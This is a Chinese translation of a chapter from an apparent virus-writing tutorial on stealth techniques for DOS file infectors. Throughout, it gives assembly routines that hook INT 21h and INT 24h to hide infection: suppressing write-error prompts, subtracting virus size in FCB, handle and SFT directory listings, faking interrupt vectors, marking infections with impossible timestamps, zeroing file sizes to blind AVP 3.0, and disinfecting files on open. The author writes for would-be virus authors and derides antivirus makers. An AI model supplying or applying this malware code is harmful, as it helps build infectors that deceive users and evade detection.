【隱蔽(Stealth)】
~~~~~~~~~~~~~~~
什麼是隱蔽?在病毒編寫世界裡,是指所有這些技術,使得我們隱藏病毒的感染特徵,如檔案大小的增長,我們執行一個程式去些一個防寫了的軟盤的錯誤資訊"Abort,Retry,Ignore",讀一個消了毒的檔案,檔案的日期看起來沒什麼問題...換句話說,使使用者相信一些假的東西。隱蔽還是一個病毒組織的名字(SGWW),但這是另外一段歷史了:)
% INT 24h 隱蔽 %
~~~~~~~~~~~~~~~~
是的,這是一種隱蔽的方法。你可以認為它太老了,但是我相信這是在病毒裡實現隱蔽的第一步。目標是在我們正在執行一個防寫了的軟盤上的程式,使得病毒企圖寫,並且它做了,但是DOS發現了這個錯誤,要避免出現"Abort,Retry,Ignore"這個錯誤提示資訊。如果使用者看到了這個資訊,將會懷疑有些問題...
這非常簡單,所有我們要做的就是取代原先的INT 24h中斷向量(這個中斷處理嚴重的錯誤)來欺騙這個中斷,程式碼僅僅為"mov al,3",後面跟著一個"iret"。
讓我們看看:
mov ax,3524h
int 21h
mov word ptr [int24_off],bx
mov word ptr [int24_seg],es
mov ax,2524h
lea dx,int24handler
int 21h
[...]
int24handler:
mov al,3
iret
%目錄隱蔽%
~~~~~~~~~~
有兩種型別的目錄隱蔽:透過FCB和透過控制程式碼。
FCB 隱蔽:
你還記得FCB的結構嗎?你可以看看結構這一章,如果你已經忘了:)
好了,讓我們來看看...這裡我們的目標是把病毒大小減去真正的感染的病毒的大小,你必須新增如下的程式碼到你的int 21h的處理:
[...]
cmp ah,11h ; FindFirst ( FCB )
je FCBstealth
cmp ah,12h ; FindNext ( FCB )
je FCBstealth
[...]
然後我們建立一個過程叫FCBstealth(你也可以命名為其它的),讓後放進一個假的中斷呼叫。然後我們經常結果是否為0,如果為0,我們直接跳到中斷返回處,否則,我們繼續。現在我們把我們使用的暫存器(AX,BX,ES)壓棧,然後我們呼叫INT 21h功能Ah=2Fh,把D他的地址返回到ES:BX中。現在該是檢測FCB是普通的還是擴充套件的時候了。通把FCB的第一個位元組(在ES:[BX]中)和FFh比較,我們就知道了。如果相等,則FCB是擴充套件的,然後我們透過對BX加7個位元組來修正它。如果它是普通的,我們保留它。現在我們經常這個檔案是否已經被感染過。為了使我們的問題最簡單,我將假設感染的標誌是使秒數達到60(一個不可能的值)。如果它沒被感染,我們跳過這個檔案。現在該是減去病毒大小的時候了,和...這裡我們有!FCB隱蔽!讓我們看看程式碼:
FCB_Stealth:
pushf
call dword ptr cs:[oldint21] ; Fake call to INT 21h
or al,al ; Optimized cmp al,0
jnz error
push ax bx es
mov ah,2Fh ; Get DTA address in ES:BX
int 21h
cmp byte ptr es:[bx],0FFh ; Is FCB extended ?
jne normal
add bx,07h ; No, fix it
normal:
mov ax,es:[bx+17h] ; Get seconds
and ax,1Fh ; Unmask seconds
xor al,1Eh ; Are seconds = 60 ? ( 30*2 )
jne not_infected ; No, skip it
sub word ptr es:[bx+1Dh],virus_size ; Substract virus size
sbb word ptr es:[bx+1Fh],0 ; With borrow, too
not_infected:
pop es bx ax
error:
retf 02
控制程式碼隱蔽:
控制程式碼是達到FCB隱蔽目的的另外一種方法。我們的目標也一樣,隱藏大小(還有其它如果需要的話)...但是這個功能我們必須阻止,而我們必須改變的東西也有一點不一樣(如果一樣我們就使用和上面一樣的程式碼了)
好了,我提供給你的INT 21h 的處理程式碼如下:
[...]
cmp ah,4Eh ; FindFirst ( Handle )
je HandleStealth
cmp ah,4Fh ; FindNext ( Handle )
je HandleStealth
[...]
現在,我將解釋一個經典的處理隱蔽的例程。首先,我們編寫一個呼叫舊INT 21h的假呼叫函式(當然要在把標誌壓棧後啦)。接下來,我們把要儲存的暫存器儲存了(AX,BX,ES)並獲得ES:BX(AH=2Fh)裡的DTA。我們檢查是否已被感染(在ES:[BX+17h]處),如果已經被感染,我們就把檔案的大小減去病毒的大小。它和上面的隱蔽的方法很類似,但是,正如你看到的,還有一些不同的東西。:)
光有理論沒有程式碼太無聊了:)
HandleStealth:
pushf
call dword ptr cs:[oldint21] ; Fake call to DOS API
jc goback ; CF=1 if error
push ax bx es ; Save registers we use
mov ah,2Fh ; DTA @ ES:BX
int 21h
mov ax,es:[bx+16h] ; Get the file time
and ax,1Fh ; Unmask Seconds
xor al,1Eh ; 60 ? ( Compare in optimized way )
jne damnedpops ; Fuck!
sub word ptr es:[bx+1Ah],virus_size ; Guess...
sbb word ptr es:[bx+1Ch],0
damnedpops:
pop es bx ax ; Get the old values
goback:
retf 02
%目錄隱藏裡的問題%
~~~~~~~~~~~~~~~~~~
還有一些問題需要改正,為了避免使使用者痛苦,我們需要檢查是否有一些問題:
-壓縮工具,如PKZIP,RAR,ARJ,LHA,AIN,等等。因為如果我們給它們一個不正確的大小,那它們在壓縮檔案的時候將會崩潰:(
-輔助工具如CHKDSK,將會不停地顯示一個永不停止的錯誤列表,因為硬碟上檔案的大小和我們顯示給使用者看的大小不相等:(
-病毒查殺工具如F-PROT,AVP和其它的SCUM,會保護顯示可能被一個隱蔽的病毒感染的資訊。
所以,浪費一些程式碼來做比較為了看看這些程式中是否有一個正在執行,然後釋放隱蔽並不是一個壞主意(當我們脫離危險之後,再啟用)。
%中斷向量隱蔽%
~~~~~~~~~~~~~~
這種型別的隱蔽非常容易。當我們使用這種方法的時候,我們試圖獲得原先的向量(在安裝我們自己的中斷處理程式的時候需要得到它們)給請求呼叫的程式。對於有些事情有好處:我們的中斷處理程式將總是在第一位的。讓我們看看如果我們鉤住了上述的中斷,我們需要新增什麼給INT 21h的向量呢。
[...]
cmp ax,3521h ; Get INT 21h vectors
je RequestINT21h
cmp ah,2521h ; Put INT 21h vectors
je PutNewINT21h
[...]
新增我們如下的例程:
RequestINT21h:
mov bx,word ptr cs:[int21_off] ; Return in BX the old int offset
mov es,word ptr cs:[int21_seg] ; Return in ES the old int segment
iret
PutNewINT21h:
mov word ptr cs:[int21_seg],ds ; Put the new segment in int21_seg
mov word ptr cs:[int21_off],dx ; " " " offset " int21_off
iret
%時間隱蔽%
~~~~~~~~~~
這裡我不能列出程式碼了因為這個是屬於私人的東西,當你編寫你的病毒的時候,它必須適合你的需要。你可以使用很多的方法來標誌感染的檔案...把秒設定到60,62...(不可能),使年增加100年,使秒和日期相等...獲得時間和日期的方法使使用功能AX=5700h,並賦新值AX=5701h。將在CX中得到時間,在DX中得到日期(這些我們必須要中途改變以實現隱蔽的)。
%SFT隱蔽%
~~~~~~~~~
如果你還記得SFT這個結構,在偏移地址11處,我們有一個雙字用來儲存檔案的大小,那麼所有我們需要做的使看這個檔案是否已被感染,如果已經感染了,把檔案的大小減去病毒的大小。讓我們看一小段程式碼(假設感染的標誌是seconds=60,並且我們已經呼叫了一個例程使得SFT在ES:DI中):
Infect:
[...]
mov ax,word ptr es:[di+0Dh] ; Get time
and al,01Fh ; Unmask seconds
cmp al,01Eh ; Seconds = 60 ?
jnz AintInfected ; No, infect it
sub word ptr es:[di+11h],virus_size ; Yes, substract virus size
sbb word ptr es:[di+13h],0000h
[...]
AintInfected:
[...]
你能做的一件比較好的事情是避免AVP 3.0的掃描。首先,我們必須知道AVP是否正在執行。當AVP 3.0開啟一個檔案,有許多值使得我們知道它正在執行著呢(BX=5,SI=402Dh)。現在該是獲得SFT的時候了,然後僅用兩行程式碼,對於Kaspersky's son,使所有的檔案大小為0:
mov word ptr es:[di+11h],0000h
mov word ptr es:[di+13h],0000h
或者只使一個如果我們能夠:)
mov dword ptr es:[di+11],00000000h
%在空中消毒%
~~~~~~~~~~~~
這裡我還是不能給你一些程式碼。它必須由你來編...但是我可以給你INT 21h的程式碼:
[...]
cmp ah,03Dh ; Open file
jz Disinfect
cmp ax,6C00h ; Extended open
jz Disinfect
cmp ah,03Eh ; Close file ( infect now!!! )
jz Infect
[...]
現在,我們必須注意一件事情...我們必須修改一些東西來編寫AH=3Dh和AX=6C00h的相同例程。
1.檔名在Ah=3Dh時的DS:DX處,在AX=6C00h時的DS:SI處。
2.開啟模式在AH=3Dh時的AL中,在AX=6C00h時的BL中。
所以,我們需要編寫一個例程來修改訪問6C00h功能。它可能應該這樣:
Disinfect:
cmp ax,6C00h
jne Check
cmp dx,1
jne ExitDisinfection
mov al,bl ; Open mode in AL
mov dx,si ; File name is now in DS:DX
Check:
mov ax,5700h
int 21h ; If we've hooked this function,
; we need to make a fake call! ( or
; use SFTs! )
and cl,1Fh ; Unmask seconds
or cl,1Eh ; Is it 60?
jnz NotInfected
[...]
消毒是你必須要做的一個例程。它沒有FCB隱蔽那麼普遍,因為在FCB隱蔽中你有很多選擇。OK,我至少應該解釋它是怎麼工作的。
給COM檔案消毒:
給COM檔案消毒很簡單。我們需要恢復原先感染改變的第一個位元組(通常3個位元組),恢復原先檔案的時間/日期,移除病毒的主體(在"檔案尾-病毒大小"偏移地址處改為檔案結束)。
給EXE檔案消毒:
這實現起來稍微有一點點難,但不難理解:)
我們需要恢復原先的檔案頭,恢復時間/日期和移除檔案末尾處的病毒主體。但是如果我們的病毒是經過加密的話就有問題了。你必須選擇要不這幾個位元組不加密(就給了病毒查殺工具防毒的方法了<g>)要不就給這些位元組解密。無論如何,它還是比較簡單的。
%關於隱蔽的最後討論%
~~~~~~~~~~~~~~~~~~~~
還有更多的隱蔽的方法,如4202隱蔽,扇區隱蔽...但是我已經解釋了最簡單最常用的方法。BTW,如果我們使用SFT隱蔽,那我們就不需要4202隱蔽了:)
在某些型別的隱蔽方法中,最可怕的事情就是和某些軟體不相容,那樣可能會適得其反。
讀到這裡,你可能要問了:"隱蔽有用嗎?"答案是一個大大的YES。這個是把病毒的感染隱藏的最好的方法:檔案看起來大小沒有變化,病毒查殺工具不會查到任何有用的資訊(使用一個十六進位制編輯器來檢視蛛絲馬跡同樣只是浪費時間罷了),還有更多的好處。你能做的最好的事情就是當諸如CHKDSK,PKZIP之類的程式執行時釋放隱蔽。所有這些只是舉手之勞。